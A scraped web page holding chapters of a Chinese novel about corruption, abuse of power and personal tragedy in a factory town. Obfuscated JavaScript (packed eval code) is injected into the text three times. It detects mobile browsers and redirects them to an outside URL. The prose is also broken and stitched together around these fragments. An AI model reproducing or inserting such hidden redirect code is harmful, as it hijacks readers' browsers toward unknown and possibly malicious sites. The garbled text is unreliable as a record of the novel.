;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422491|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,也同样拥有一双会说话的桃花眼,而且她也喜欢穿粉裙子。姜飞鸿再度坠入爱河,他的脑海整日被虚无缥缈的爱情幻想塞满,根本无暇顾及学习。 初雪时,他几乎如出一辙,手捧鲜花和糖果,来到教室门前,他幻想着,自己与女孩在满天雪花中牵手漫步,雪花落在她乌黑的头发上,他温柔地为她拂去,女孩感动地当即亲吻了他。 「姜飞鸿,你愿意娶我吗?」 「我愿意。」 正幻想着,教室的门被风吹开。 女孩今天并没来上课,询问同学得知,她的孩子发烧了,她和丈夫正在医院陪着。 姜飞鸿伤心地退了自考班。 几天后,他在回救助站探望的公共汽车上,对一个同样齐肩发、桃花眼的女孩一见钟情,于是他便求东告西,成为了公共汽车售票员。就在他入职上岗第一天,女孩再次出现,只是这次,她挽着一个高瘦的男生。 姜飞鸿的爱情之火熄灭得越来越快。 伴随爱情不断消亡的,还有他的风评和事业。经过几段单方面的感情经历之后,安化厂方圆五十里,再没长期单位愿意要他,他只能靠打零工过活。 而他仍旧不死心,直到何曼珠与庄立春结婚,直到何曼珠当上厂长夫人,他仍然残存着对爱情的幻想,也仅仅是幻想。 他连续不间断地爱上不同的女人,并和她们每一个在脑海的秘密房间里跳舞,金色的阳光,华尔兹舞曲,粉红色裙子,暧昧缠绵的眼神,深情的吻。周而复始,直到他在四十岁时被医生确诊为阿尔兹海默症,大脑强制关闭了这种幻想,他才终于停止下来。 于是,他在四十岁时,又搬回了救助站。 救助站位于安化厂往东北二十公里,既是救助所也是疗养院,里面收容着五百位老人、中年、青年和孩子。在这里,所有的衣食住行都是免费,伟大的政府会包办一切。 而这伟大的福利也不过是富人试图平衡民众情绪和舆论的手段之一。贫富差距越大,底层福利越好,如此穷苦民众才不会反叛。富人一点残羹剩饭的施舍,穷苦人感恩戴德。甚至当有清醒者站出来揭露这种不平等时,不必等富人开口,穷苦人便会自告奋勇地维护这些压迫自己的饕餮,并心甘情愿为其作证和申辩。而富人坐在黄金宝座上,摇晃着酒杯,睥睨着这群跪久了早已不会站立行走的穷人,笑得纸醉金迷。 姜飞鸿被安排和段有金一个房间。 彼时的老段六十六岁,双目已经完全失明,他无儿无女,遂被厂里安排住进了救助站。 两人每天默默无言地同吃同睡。 偶尔姜飞鸿会恢复正常,他就给老段跳华尔兹看,后来意识到老段看不到,他索性把老段从床上拎起来,教他一起跳。老段眼前灰蒙蒙一片,姜飞鸿的眼里却满是金灿灿的阳光。 因为胡得为的死,龙八被抓进看守所。 这可急坏了我和古秀梅。 此时,二十岁的龙九已借助智慧网络,成为财富榜上的常客。他动用关系,将龙八以生病的缘由转送到疗养院。 如果在从前,这样钱权谋私的事情古秀梅是绝不会同意做的。这次她却默许了。 我无从得知古秀梅做出这样违背她半生原则的决定,其原因是什么,即使我俩同床共枕几万天,有些话她不讲,我也不能完全猜懂。而不合时宜的刨根问底,是很没有礼貌的,哪怕是在最亲密的关系里。 在过去的近二十年里,古秀梅从安化厂政治与思想科主任,升入妇女联合会主席,又调职市政委秘书办主任。她凭借人脉和能力,在政场里奔走,竭力保证着民众的公正权益,似乎身体里有着用不完的能量。而随着年岁的增长,我能隐约感觉到她的强悍正在逐渐瓦解。 有时我觉得自己作为一个人类丈夫过于残忍,我眼睁睁看着自己的妻子为了一个泡影奔走一生,献出她的青春、热血、生命,明知结果失望,却避不告知。 站在疗养院的大门外,我望着古秀梅渐渐枯萎的肩膀,恍惚间看到她被风吹倒的样子,于是赶紧上前搂住她。 「老林,如果龙八确认是凶手,我理应大义灭亲,而且若换做从前的我,必定会如此做。可这回,就算那胡得为真是龙八杀的,我也不想认。因为老天爷欠我们一个孩子。」 疗养院大门打开,我们彼此搀扶着,见到了二十岁的龙八。 「爷爷奶奶。」如果说离家时的龙八是一棵正野蛮生长的大树,那此刻就是他的深冬。 古秀梅用爬上皱纹的手,小心捧起他的脸,喃喃道:「瘦了……」 「我不想走了。出去这些年,我曾经满腔热血,原以为可凭借一己之力改变这个世界,我前往不同的城市,看到不公的、卑劣的、肮脏的、一切圣贤书里不可为的,我都挺身而出。只因我心中始终有个信念,我没有龙七的文笔,不确定自己是否有能力表述清楚,我始终相信世界存在真理,且是好的真理,至少它不应该是黑暗的,因果报应,好人就该有好报,坏人就该被惩罚,这是我的信念。可,这一切崩塌了」 「有些人,我分明帮了他们,却反被坑害。这种事情发生的次数越来越多、越来越多,我陷入深深地怀疑。如果世界的真理是好的,那为什么恶人长命百岁、坑蒙拐骗却能金山银山,为什么阴险狡诈之徒往往更能平步青云?所谓好的真理,究竟是真相还是骗局。」 而桔梗的死,无疑是压死龙八精神的最后一根稻草。 两年前,他们途经病毒肆虐的梵城,眼见着物资和医疗人员严重匮乏,桔梗因为有着卫校的些许经验,自告奋勇成为志愿医疗队的一员,龙八也成了后勤保障。随着志愿工作的深入,许多医生护士都陆续病倒,龙八也不例外,唯独桔梗却始终没被传染。后来防疫科研人员来给桔梗采样,发现她的血液里存在针对此次病毒的抗体,众人欢呼不已,仿佛终于看到曙光。 可是抗体研发需要时间,而随着时间一点一点推移,害怕死去的人们等不及抗体。先是几个人来要血,然后是几十个人,然后是几百个人。 龙八至死都不能忘记那个清晨,阳光照在隔离区的蓝色帐篷上,暖烘烘的,他起。发现隔壁床铺的桔梗不在,以为她提前去了隔离病房,于是起身不慢地刷牙洗脸,揣上两个面包和牛奶,他担。她又没吃早饭,特意拿双份。起身往病房去走去一路蓝天白云真好看。科研所说抗体研发已经攻克难关,很快就可以进入测试阶段,真是个好消息呢。边走着,龙八感觉到今天的隔离区显得格外冷清,大家似乎都在远远地躲着自己。他特地停下来低头打量自己一番,然后继续往前走。来到桔梗经常工作的输液帐篷内,他见拉链闭合着,于是试探地问:「在吗?」等待后见无人回应,他抬手拉开锁链,却见到令他永生不能原谅的画面。 低矮的蓝色帐篷里,地上堆满注射器包装袋。银白的操作台旁,桔梗的防护服被撕开,黑色的短袖被汗水浸透,她的头向后侧仰着,嘴巴里被塞满了纱布。她安静坐在椅子里,脖子、腰、胳膊、手腕、脚踝都被紧紧绑着,皮肤勒出紫色的淤痕。 龙八手里的面包和牛奶掉落在地上,他迈进那扇充满痛苦的门。 桔梗的眼窝里还有未干的泪水,她的手臂血管上布满了密密麻麻的针孔,甚至还有留置的针头扎在里面,可却再也流不出一滴血来。 她就这样,被她曾亲手救下的人们,活生生抽干血而死。 龙八为她取出塞满嘴巴的纱布,又解开捆绑的绷带,他将那肮脏的防护服彻底舍去,然后抱起她长途跋涉赶回来安化厂,他在巨大的红气球旁为她立下墓碑。 他将她称之为战友。 18. 玫瑰 法医尸检认定,胡得为和苗黎是过敏而死,而两人的过敏源不是旁的,正是彼此的气味。胡得为有桃香氛过敏史,而苗黎当天喷的正是蜜桃香水;苗黎有橄榄油过敏史,胡得为当天用其抹了头发。 分明不是谋杀,为何龙八却认得如此斩钉截铁? 龙九一针见血:「老八明显就是不想活了,想给自己搞个死刑。一个人的心气儿没了,神仙也救不回来。也是老八心善,若换作我,定叫那些人偿命不可。」 我望着如今亦正亦邪的小九,不知该如何感慨。 小九坐在轮椅里,在六个壮硕保镖的陪同下,敲响了玫瑰的家门——不是红巷子的铁皮房,而是她和英树的家门。 「哪位?」前来开门的是玫瑰。 小九淘气地笑道:「嘀咚,是我呀。」 玫瑰眼见这吓人的阵势,小声道:「有事情咱们可以去那边说,现在我老公在家呢。」 小九继续笑嘻嘻:「别担心,我是来找大哥谈正事的。」说着,他便往屋里进。 英树见有生面孔进门,却是很有礼貌:「你好,诸位好,你们是玫瑰的朋友吧?快请坐,快请坐,我去给你们泡茶。」 小九却不客气道:「不必了,英树大哥,您坐。」 英树不明所以地望了望玫瑰,玫瑰示意他坐下,自己进厨房泡茶。 「英树哥,我这次来的目的很简单,您说个数,然后跟玫瑰离婚。」 话音刚落,厨房里便传来茶杯碎地的声音。 英树连忙起身想去看,却被小九抬手示意的保镖常清拦住,小九的眼神看似笑着却暗藏锋利。 「我知道自己没本事,所以我听玫瑰的,只要她愿意,我绝不拦着。」 小九将手落下,柳常清后退,英树冲去厨房收拾满地碎片。 镂空的屏风两侧,玫瑰和小九就这样沉默着,谁也不肯先说什么。 而翌日,灯光迷离的铁皮房内,小九强势地将自己深深埋在玫瑰的身体里,他仿佛劫后余生般,贪婪地吮吸着她的气息。玫瑰感受着他宽厚的手掌在自己皮肤间的游走,她一遍又一遍警告自己,绝不可以沉沦陷入。 「玫瑰,求你,允许我成为你的丈夫,你这样一而再地拒绝,我的心就快被伤透了。我憎恶这座铁皮房子,所有曾拥有过你的男人我都嫉妒,让我带你逃离这里吧。」 不知是出于真情还是职业素养,玫瑰摩挲着小九的后背说:「如果你愿意,今后这座铁皮房子只为你开门。」 无论是出于真情还是职业素养,这段话都深深击中小九惶恐不安的心。「你发誓这是真的,绝不可以骗我,从前许多次你都这样讲过,你总还拿我当个孩子,可我早已经成年,玫瑰,请你把我当做一个男人看待。」 「是的,你早已经是了,我已经确认过无数遍。」 「所以你究竟怎样才愿意?」 「小九,你显然没懂,如果我与英树离婚,与你在一起,我将面临什么。铺天盖地的非议、荡然无存的颜面、以及你那颗瞬息万变的心,而你呢,你年轻且拥有财富,即使因为厌倦而将我抛弃,你的生活也不会有任何影响,前仆后继的女人会等着爬上你的床,我在这里工作最是知道,男人,从来没有一成不变的忠诚,你们至死都需要新鲜和激情。而对我而言,一旦被你舍弃,我就将沦为彻头彻尾的笑话。这个社会名义上讲的□□自由,你当以为是真的?那只是针对你们男人,你瞧瞧兰雪,那就是活生生的例子。」 「可兰奶奶遇到了独眼爷爷,他们还有了可爱的天鹅宝宝,我也会像独眼爷爷对兰奶奶那样,全心全意地对你好,我们也会生可爱的宝宝。」 「兰雪是第三段婚姻才遇到了独眼张,你我不会像他们一样的。」 「玫瑰,你应该勇敢一点。」 「小九,这种毫无意义的煽动性语言要少讲,毕竟勇敢之后,摔得头破血流的会是我,而永远不会是你。」 听到这里,小九迅速穿好衣服,愤然离开。 「玫瑰,你怎知我没有头破血流过,我这两条烂腿,难道还不够惨烈吗?」 此后数月,小九吃住都在公司,既不回家,也没去红巷子。 龙八则代替了从前的小九,终日坐在窗子前,望向远方的红气球。他时常望着望着就开始莫名地哭,又偶尔痴痴地笑。到后来他连觉也不睡,饭也需要人喂进嘴里,大小便也几乎失去意识。 我与古秀梅要工作,索性我们一商量便把年迈的庄嫂从乌黑的小房子里接来住。她帮忙照顾龙八,我们付她薪水,她也时常生病,彼此更方便照应。几年后,许绣蓝做了心脏手术,离不开人,也搬进家里来。为了避嫌,我则搬去了厂宿舍。 临近年底,庄立春厂长搞了个大动静,他要清污同心湖。 这可在安化厂里炸了锅。 早已经退休的副厂长齐半两也不锯木头了,扔了刨子就往厂区赶,远在鹅城参加曾外孙百岁宴的刘罐头也顾不得吃蛋糕,得到消息就开车往回奔,直冲厂长办公室。 而办公室里,先于这些人来的是省里的电话。 「小庄啊,最近厂里各方面工作怎么样哇。」 「承蒙陈局长和各位领导们的关照,厂子各方面工作开展得都有条不紊,这真的多亏您带领的经济班子,给我们这些小厂子创建了良好发展的业态环境。」 「怪不得我省里这些老伙计们都讲你思想觉悟高呢,今日交谈,感受颇深哪。」 「没有没有,领导们包容我这后辈罢了。」 「听说,厂里年底要清湖?」 「是有这个计划,这两年不是倡导环境治理嘛,同心湖实在有些拖后腿了,厂里就提出有这么个想法,还没敲定。」 「嗯,同心湖这个风水啊,涉及整个安化厂的根脉,一定要谨慎再谨慎哪,几千张嘴可是靠厂里吃饭呢。」 「明白,明白,我一定谨慎。」 这边电话刚挂,齐半两推门进来。 「庄厂长,听说厂里要清污?」 庄立春松开刚刚放下的电话,眼神定在面色焦急的齐半两身上,良久,他笑呵呵地迎上去:「齐老,这什么风把您给吹来了。」 说着庄立春便将齐半两迎送到沙发旁坐下。 「这两年环境治理的指标每个厂里都分了,咱厂里这个同心湖,环境指标实在是不过关哪。」 齐半两缓缓掏出汗巾,往额头上抹了两把。「小庄厂长啊,你有所不知。这个同心湖所在的风水,掌握着整个安化厂的命脉。那可是当年道观里的普尘道长推演了七七四十九天才敲定的。这几十年安化厂安安稳稳顺顺利利,靠的就是这天命根脉呀,这同心湖可轻易不能动啊。」 庄立春边听着边掏出案几匣子里的名贵茶叶,不紧不慢地沏上茶水。「这我知道,刚才省里的陈局长也打电话来说了。也是想不到这小小一个同心湖,竟能惊动陈局长和齐老两位泰山,看来我这清污计划必须得慎之又慎了。」 说完,庄立春递过来一杯高山普洱。齐半两盯着这杯热腾腾的茶,是听天由命还是殊死一搏,犹豫着,他最终还是接了下来。 三十年未曾下酒桌的齐半两,今时坐在这里,望着眼前这个不善烟酒的年轻后生,其心思和势利仿佛深不见底。既然庄立春已经主动提了陈传富的名字,齐半两也清楚,自己再多说也是毫无意义。随即他便匆匆请辞,回到了家中的木头房。 这个年近古稀的老人坐在自家空荡的、堆满木料的巨大房子里。妻子在他年轻时早已因病去世,孩子们都已结婚,生活在外地。自几年前退休之后,他便终日独守着这栋偌大的房子,独自过活。春去秋来,院门外,熟悉的人们来来往往,孩子们逐渐长大,老人们也逐渐消失。时代更替,总是永恒不变的话题。边追忆着往昔的人情与种种,太阳渐渐落下,他坐在日落的摇椅里,忽然回想起许多年前,与古秀梅九比一胜利的那场议会之后,他与陈传富、胡得为、刘罐头,齐聚在那座秘密房子里的,那个醉生梦死的夜晚。 吕文生拎着两瓶烈酒走进门来。 里面,剧团新来的一批男女演员,罗小娇、严嘉、午徉,早已被灌得半醉。 陈传富摆手将吕文生招呼过去,并示意他开酒。 吕文生余光里瞥见胡得为正将油腻的手指摸进严嘉的裙底,而刘罐头则是将罗小娇直接搂在自己腿上,金牙闪闪的齐半两手里没命地往午徉嘴里灌着酒,眼神却早已钻进了他的裤腰里。而就在吕文生倒酒的间隙,身后的陈传富也摸了上来。 吕文生本能地泛起恶心,他慌乱中弄洒了酒杯,惊吓得连连低头道歉。 陈传富却意外地没有发怒,他爽快地挥挥手。「不碍事,一瓶酒而已嘛。」说着,他便将吕文生牵到身旁坐下,眼神色眯眯地打量,「怎么没穿连脚裤?我就喜欢看你穿着跳舞来着。剧团里每年来来往往上百号新人,唯独你这两条腿,一招一式耍得是真漂亮,叫我怎么也看不够。」 吕文生眼神躲闪着。 陈传富继续说:「最近省里下来一个名额,我打算将文羽调回到你父母身边,毕竟她姑娘家也大了,回去也更方便找对象。顺利的话,下个月就能办妥,只是这次名额就一个,眼红的人太多。」 吕文生脑海中浮现出唯一的亲妹妹,吕文羽在剧团里弹钢琴时的模样。他瞥见余光里已经完全喝醉的严嘉,她的底裤正在被剥掉,一旁不省人事的罗小娇也已经脸颊绯红,就连午徉也已半醉半醒。吕文生索性将心一横,端起桌上剩余的某半瓶酒一饮而尽。他满脸混着不知是酒还是泪,开始迷离的笑,笑着笑着他倚靠进陈传富的怀里,如同以往的每一次那般,熟练地恶心地,逐渐钻进这个男人的裤腰里。 震耳欲聋的音乐声将这里几乎与世隔绝。而就算没有音乐声,外界也根本不会觉察到这里。准确而言,在每一个狭小厂区的权力高层里,都有这样一个秘密房间,都有着许许多多的吕文生。 每一个吕文生,都有各自的把柄或弱点,被紧攥在那些权力小高层的手里。 而唯一留给他们的活下去的路,就是顺从。 关于同一个夜晚,不同的人回忆起来,心境是不同的。齐半两回忆的,是自己容光焕发的光辉时刻。那是他权力的小小巅峰,他享受着利用那狭小的权力,将他人玩弄于股掌的快乐和优越。时至今日,他从不认为自己曾做的是多么十恶不赦的坏事。相反,当他坐在夕阳的院落里,仰望着人类众多岁月当中的平凡一日又即将落下帷幕。他回忆起自己短暂且漫长的一生,从未吃过苦受过累,他凭借自己卓越的口才和圆滑的处事能力,自记事起就如鱼得水。工作后进入安化厂,前期炉火纯青的酒场交际天赋更是令他平步青云,直到做到采购部部长,最后到副厂长。这期间他甚至连个极小的磕绊都没有遇到过。没有大风大浪,没有琐事缠身,妻子早亡,孩子独立,他回顾自己的一生,觉得恣意且充实,只遗憾不能再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「而这次我似乎再也编不出理由自欺欺人了。」 「嗯,估计是难了,所以你想好怎么做了吗?」 「梦里,我在夜晚的葡萄园杀死一个狼人。我没有离开现场,而是拿起了锄头。现在回想起来,我从本来的一个弱者变成了施暴者,甚至成为了暴力的精神领袖,将灵魂献祭给恶魔。」 「你总是迷信这种梦境寓言,这玩意儿都是一千多年前的老主义了,现在社会崇尚唯物、科学,懂吗?」 「但唯物和科学解决不了人内心的矛盾和梦魇。」 「抱歉,我已经无法再与你对话。我此刻非常困倦,需要休息。」 「那我的困惑该向谁提问?」 「或许门里刚出现的那个人,他可以给你答案。」 显然吕文生的两个人格中的其中一个将话题引到了我身上。他随着话音抬头望向我,眼神里有几分陌生,「你好,请问你是……」 他并非是把我忘了,而是这个人格从未见过我。 「你好,我叫林复生,是你的朋友。我曾经是你一部话剧的原型人物,我们共同生活过一段时间。」 吕文生二号很是健谈,不认生。他很欢快地邀请我到床边坐下,并开始就刚才梦境解析的困惑向我提问。 我非常坦诚地向他分享自己的体验:「坦白讲,我自己也有过无数次梦境中犹如平行时空般的经历。所以我无法确切地告诉你,梦境解析是真实有效还是徒劳无功。某种程度上说,我是当前人类中最聪明,最博学多识的一个。这话或许显得有些自负,但请你相信事实的确如此。可即便如此,我仍不能确切地告诉你这个问题的答案。而如果连我都不能,这世上更没有其他人可以给你。但我可以向你传授另一个经验:要脱离梦境而只关注现实。吕文生你可以选择逃避,但那些肮脏的、黑暗的问题并不会消灭,曾经的过往的伤害也不会就此抹去。如果你想要就这样躲躲藏藏的过这一辈子,将来因无法承受的痛苦,而继续分裂出三号,四号,五号……那么,这是你的选择。每个人都有选择的权利。但你也要做好准备,并不是所有的选择和权利都会带来好的结果。当人们获得一点希望,或者短暂的欢愉之后,再陷入痛苦时,往往会承受更大的打击。我希望你有足够的厚度可以承担住这种打击。我只能够说这么多了。虽然曾经只有非常短暂的相处,但是,你是我遇见过的最纯粹的人之一。最近的我,因为琐碎的中年事件比如儿孙,比如亲友生病,比如繁杂的历史任务,我已经许久没有认真正常的写作,也很久没有回忆起自己从前的那些故事。过去许多年都历久弥新的那一张张脸,忽然在最近一段时间开始模糊起来。在从前我从未怀疑过自己的记录能力,这是我的天分,也是我的长处。可最近我时常恍惚,恍惚到仿佛熬了三五个大通宵,整个人精神和灵魂犹如分离一般,空洞的,轻盈的,抽身的,飞离的,□□沉重且迟钝,灵魂却愈发轻盈与敏捷。」 吕文生二号全程似懂非懂地望着我。我也并未求他能全懂,而只是希望他能够将这些转告给吕文生。事实上,我并不确定蛰伏的吕文生是否还会醒来。在医学历史上确实曾经存在过次人格生出后,主人格就此消失的案例。 而非常幸运的是,几周后吕文生的人格重新苏醒。 彼时,吕文羽已经拿着调令文书,回到了父母所在的剧团。 纵使二人的父母是受过勋章的名人,可戏子终究只是权力的玩物。 19. 罐头 刘罐头赶回厂区时,天已经黑透。他坐在车里,望着厂长办公室里熄灭的灯,随即赶去齐半两的家里。 电锯将廉价的杨木按提前描绘的线切割,锯齿刀飞快地切断木材的纤维,扬起一阵阵雪白色的木屑,刺耳的声音令人几乎耳聋。电锯旁还陈列着大大小小几百个已经拼装好的木头盒子。它们有的可以放在茶几上装水果,有的可以收进房间装衣服,还有的精致小巧,可以送给女人们装项链和耳饰。也有些生物学家喜欢往齐半两的木头房子跑,收集这些盒子用来存放动植物标本。齐半两的这一手做木材的好技艺,是他交际的重要手段之一。比如陈传富存放神油的,用的就是他做的楠木盒子。 齐半两正沉浸在木头盒子的制作世界里,刘罐头推门进来,他穿越漫天飞舞的木屑和刺耳的切割声,径直上前将电源线拔断。 「那庄立春要搞同心湖,您竟然还有心思躲在这里切木头。那湖里的东西你我可是知道的,就算陈局长之前曾处理过,难保里面没留下什么。一旦挖出来你我后半生怕是要在里面过了。」 齐半两却轻巧地往木材上吹了一口气,将多余的碎屑吹走,露出木料切割后的本来形状。他拾起木料来,眯起一只眼睛,仔细打量,校准刻度,然后嘴里慢悠悠地说道:「你当我傻呀,过午我已经去过了,陈局长也打过招呼了,这小庄厂长啊,他是不会松手的,你我就听天由命吧。或者,还有一个办法,就是你想法子把这差事儿争取下来。」 刘罐头心下冷了半截。他缓缓后退,找了根粗木头蹲坐下来,并随手从口袋里掏出一包皱巴巴的烟,抽出来点上。「原以为只是个被上面排挤的软饭男,没想到竟是个硬茬。那陈局长怎么说?他就不怕因此掉马。」 齐半两却看清时局。「如若这事儿拦不下来,总得有个顶罪的出面,我齐某人也算是风光过一场,到时那陈局长必然是要推我出去的。而我已然这把年纪,无非是换个养老的地方而已。」 刘罐头猛嘬着烟,沉重地叹了口气。「这些官僚分子果然最不可靠,满心满眼都是自己的那点子权利和利益。在他们眼里,我们其实跟吴侑珍、吕文生之类的,无有差异,只是我们的利用价值不同而已。老了老了,也算是看明白这世界了。」 「普通人摸爬滚打的一生,陈传富的一个响指而已。而其实,陈传富也不过是在更上层人眼里的一条狗。这世界无非就是阶级压着阶级,阶级剥削着阶级。你以为往上走一层就是人生赢家,殊不知一山更有一山高,聪明人适可而止的享受规则,笨人却愤世嫉俗的想改变规则,改变到最后,却往往被规则规训。你我便是那享受规则的人。既然享受了,那就是既得利益者,在低位的既得利益者也是获利的人,所以与其说我们是被陈传富推出去的,不如说我们是在为自己曾经的所作所为而付出代价。毕竟当时并没有任何人胁迫我们。我们与吕文生、吴侑珍等不同,我们的选择范围虽小,但毕竟是有的。某种程度而言是我们自己选择了恶选择了跟随陈传富并成为他的帮凶,而并不是绝对被动的。所以即使将来我果真被送往刑场,我也必是快意凛然的,如此来人间走一遭,总归是不亏的。」 刘罐头望着摇晃的灯光下浑身落满木屑的齐半两,他两鬓花白,身形弯曲削瘦,裸露在外的食指关节粗砺地突兀着,却犹有力气。只见他握起钢锯,单脚踩在木材的另一端,右手开始颇有节奏地推拉。很难想象这是一个将近古稀的老人,他看似泯然众人,却又仿佛是那凛冽高山上的一棵劲松。」 刘罐头很快抽完了半包烟,他起身回家。 刘罐头进门站在客厅,环顾着宽阔的、崭新的房子,腰间的电话响起,是张海燕打来的。今夜时间太晚,她在二女儿家留宿,就不回来了。刘罐头知会地点点头。挂断电话,他转身走进书房,在书柜顶层的暗盒里,找出家中的几本房产证、银行卡和和保险柜钥匙。聪明人绝不会坐以待毙,他不能寄希望于陈传富和齐半两,而必须要靠自己,他必须尽快将这些财富留给妻子和女儿。 如今的办事部门效率低下,且疏通困难。尤其在安化厂,疏通同心湖的消息已经几乎人人皆知的情况下,他这样明目张胆地大量转移财产,无异于引火烧身。 于是他极自然地想起一个人,独眼张。 工厂这边庄立春很快拉起了专项小组,直接上级是他自己。而直属带头人是厂里新来的实习大学生管红军。管红军初来乍到不过半月,厂里的前辈尚未认识个遍,因其满脸的痘印和痤疮,厂区里的妇女们都笑称他为小矬子。他一米七出头,身形圆溜溜的,皮肤小麦色,像颗刚从砀山生出来的扁头梨。 管红军初生牛犊不怕虎,专项小组刚成立之初,他便带队来到了同心湖边考察水质。 同心湖虽是个人工湖,但面积也不小。直径十米有余,深度将近六米。过去的几十年间,除了偶尔的漂浮物打捞从未经历过清洗。陈年的湖水在人造垃圾和雨水的共同作用下,早已经浑浊不堪,一只手伸进去,超过三十公分便不可见五指。湖水里还时常发出恶臭,冬天还好些,尤其是夏天大雨过境之后,恶臭熏天,时常搞得厂区里窗户都不敢开。人人厌恶它,但人人又都不敢深挖它,许多人在这个湖里都有秘密。那些无处可扔的垃圾,那些写满罪恶的日记、徇私枉法的账本、偷窃的证据,在过去的许多年都被陆陆续续沉去了湖底。 经过两周的水质考察,确认安全之后,专项小组便开始了清污团队的竞标工作。 竞标会的前几天,管红军不可避免地被拉进了各种酒局,初入社会的他尚不知晓酒这种东西的厉害。 也因为初到安化厂,就被安排了如此重要的差事,他早已遭人眼红。第三日的酒局过后,他喝得不知天昏地暗,醒来时却已经在某酒店的床上,身旁躺着一名身穿蕾丝睡衣的陌生女子。他惊慌地赶忙跳起来捡拾衣服,却不曾想前夜的照片视频早已先他一步,传到了庄立春的桌子上。 车间里资历颇深的工人老潘站在庄立春的办公桌对面,话讲得大义凛然。「这,这,这成何体统!」 庄立春始终笑呵呵的。他起身为老潘倒了一杯茶水,安抚老潘说如今这社会与从前并不一样了,社会倡导恋爱自由。况且人家女方也没讲什么,咱们这样贸然地干涉人家私生活,于情于理都说不过去呀。 老潘被这心平气和的道理怼得哑口无言,但他也由此获得启发,他将茶水一饮而尽,转身走出办公室,掏出电话对对面的人说:「这种程度不够,儿子,如果想保你晋升,咱们得让他犯点儿法。」 还没过半小时,老潘站在走廊里打电话的这段视频,便被公布在了食堂的公共屏幕上。 庄立春则风轻云淡地拨通电话,出来主持大局。 「联系安保部门,把屏幕内容关掉。通知各部门,所有人不许讨论、不许谣传,一切都以厂里的书面通知为准。」 竞标顺利结束,工程队进场。管红军却意外地来到办公室,说要请辞。 庄立春仍是笑呵呵的,还是泡茶。 「这点挫折就要跑?你应该庆幸,老潘他们并不算心思真坏的人。去红巷子找个女人送到你的床上,某种程度上而言,你和她都是各取所需,她赚钱你也舒服了。而老潘也从未想过要置你于死地,他在这厂里待了几乎一辈子,想把自己的儿子送上高位,也是情有可原。你如果想往上走就得学会去理解这些人的想法,这些想法不是绝对黑暗的,而是实实在在的人性。如果换位思考一下,你是老潘,你是否也会觉得不公平?可是你的良知又不允许你,去彻底伤害一个新入社会的确实有点真材实料的青年,如此想来,他竟也算个好人了。如果他是一个好人,你还想走吗?」 管红军犹如醍醐灌顶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422493|184777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 「片面的思想会导致人狭隘,也会导致人认知的局限。认知一旦产生局限性,那么人就会产生出非常多负面的情绪,比如无端的生气、愤怒,没来由的委屈、嫉妒,狭隘会令人看不清楚事情的全貌,而只关注于自己的得失。当你过于在乎自己的委屈、愤怒,过于在乎公平与不公平,其实某种程度而言,这就是一种自私。为什么你允许自己自私,而不允许他人自私呢?这难道不是一种不公平吗?」 庄立春独自去往首都时,日子是非常艰难的。哪怕老庄和庄嫂没命的干活。但赚来的钱财想要支持在首都的体面生活,却杯水车薪。庄立春从进入学校起便开始勤工俭学,上午两节课,中午去茶饮店打冰,下午两节课,傍晚去做家教。周末时坐一个小时的公车,去往城市的中心做展台销售。他凭着自己的努力逐渐买上和同学一样羊绒的外套、进口手表和名牌皮鞋。置办完从头到脚的崭新行头,他站在宿舍的全身镜前,感到从身体里面迸发出的焕然一新的蓬勃生命力,他在心中暗暗告诉自己:庄立春你要向上爬,爬到最高处,然后俯瞰所有人。 他的野心是沉默的,不易觉察的。 除了这些充满附加值的名牌。他从大二时期便开始默默靠近自己精心挑选的未来妻子。他观察每周末来校门口接她的汽车,观察汽车里坐着的人,推测出她的家境并不简单。爱情对他而言从来不是必需品。但他具有把它演成必需品的能力。女孩儿也很快留意到他,他阳光、勤奋、安静、礼貌,他永远坐在教室第一排,最靠近老师的位置,永远是考试的第一名,也永远会在下雨天递过来一把伞。冬天的手套、围巾,夏天的冰淇淋和鲜花,还有最新款的手机和裙子,每周一封雷打不动的情书。而家庭环境高压的女孩儿们往往很吃这一套,这也是庄立春对于人性把握的天赋。 毕业,婚礼,生育,庄立春凭借着女孩儿父亲的关系进入高级公司的管理层。他站在梦寐以求的、高耸入云的落地窗前,俯瞰着马路上如同蚂蚁般东奔西走的人们,内心翻涌,表面却平静如水。他站在自认为坚固的钢筋水泥城里,却无论如何也想不到,有一天这巨型的工业帝国会轰然倒塌。 回到办公室里,庄立春写给管红军一个地址,他说:「老潘代表的或许不是一个人,可能是一群人。你初来乍到,要想站稳脚跟,搞好关系是必要的。买点水果和烟酒送过去好好聊一聊,不要显得太圆滑,傻乎乎一点是最好的。」 管红军非常听劝地接下地址。他走出办公室,来到机器轰鸣的同心湖前,仿佛改天换命。这一场短暂的谈话,将他从一个学生彻底蜕变为社会人。 英树作为中标公司的工人,每天几乎起早贪黑地干活。湖里的杂物太多,平均每半小时就会将疏通机堵塞一遍,操作工人们拆卸、清理、安装、重新投入池底使用,如此反复。而硕大的疏导管,其拆解过程是极其耗费体力的,没几天英树便肉眼可见的消瘦下去。 